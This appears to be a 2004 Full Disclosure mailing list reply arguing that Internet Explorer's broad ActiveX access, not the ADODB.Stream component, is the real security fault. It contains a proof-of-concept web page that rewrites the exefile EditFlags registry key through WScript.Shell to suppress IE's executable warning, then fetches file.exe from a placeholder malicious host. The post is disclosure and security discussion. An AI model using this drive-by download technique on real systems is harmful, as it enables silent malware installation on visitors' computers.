Full Disclosure mailing list archives
Re: Betr.: Re: Fix for IE ADODB.Stream vulnerability is out
From: "Matthew Murphy" <mattmurphy () kc rr com>
Date: Fri, 2 Jul 2004 18:56:53 -0500
"Jelmer" writes:
Because we avoid the adodb.stream issue all together, You can patch it, but if you leave open other issues, well it's pointless Instead we just swap in this instead of the old shellcode:
[snip PoC] Well, the problem with ADODB.Stream wasn't executing files, it was writing them to disk. However, as you correctly point out, there are plenty of ActiveX components on an average Windows system that are deliberately marked *unsafe* because of the functionality they offer, and they *should not* be invoked by a browsing interface for any purpose -- regardless of the trust level associated with them. So, the point of this is that we shouldn't cripple individual components, as that is a ridiculous cat-and-mouse game that Microsoft cannot win, particularly as slow as it is to react to this sort of thing. We've been talking about the risks of this particular component for months, but Microsoft did what... nothing. The real fault doesn't belong with individual components (ADODB.Stream included), and I think the almost rant-like posts of Drew Copeley and HTTP-EQUIV miss this fact. ADODB.Stream does *not* represent a vulnerability, although it does act to significantly worsen the impact of an existing one, by allowing transfer of binary files to targets. However, the same functionality as ADODB.Stream could be accomplished by simply altering the open-restrictions registry value that IE uses for executable files (that's right -- the hardcoded warning required behavior isn't hardcoded at all), and then invoking IE to do this for you. [html] [head] [script language="JavaScript" defer] function throw_onload() { actx.RegWrite("HKCR\\exefile\\EditFlags", 0x38070000, "REG_BINARY"); window.close(); } var actx = new ActiveXObject("WScript.Shell"); actx.RegWrite("HKCR\\exefile\\EditFlags", 256, "REG_BINARY"); document.writeln("<IFRAME SRC=\"http://www.somebadsite.com/file.exe\" ONLOAD=\"throw_onload()\" />"); window.setTimeout("throw_onload()", 5000); // Don't know for sure if IE fires OnLoad for .exe files! Anyone? [/script] [/head] [body] [/body] [/html] This demo may contain bugs, and was somewhat hastily cobbled together (not intended to be used verbatim in code, only demonstrate theory), but you get the idea: given full ActiveX access, you can do huge amounts of damage, particularly if the user visiting you is an admin. However, this isn't a significant setback, as the exploits in-the-wild that overwrite wmplayer.exe require the same privilege level. The real fault in this case most definitely does belong with Microsoft (few will argue that, and none will persuasively argue it, otherwise), but for the reason that its browser simply allows too much access to system internal components. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Current thread:
- RE: Betr.: Re: Fix for IE ADODB.Stream vulnerability is out Jelmer (Jul 02)
- Re: Betr.: Re: Fix for IE ADODB.Stream vulnerability is out Matthew Murphy (Jul 02)
- Re: Betr.: Re: Fix for IE ADODB.Stream vulnerability is out Nick FitzGerald (Jul 02)
- RE: Betr.: Re: Fix for IE ADODB.Stream vulnerability is out Mr. John (Jul 03)
- <Possible follow-ups>
- Betr.: Re: Fix for IE ADODB.Stream vulnerability is out Pascal Zoutendijk (Jul 02)
- Re: Betr.: Re: Fix for IE ADODB.Stream vulnerability is out Matthew Murphy (Jul 02)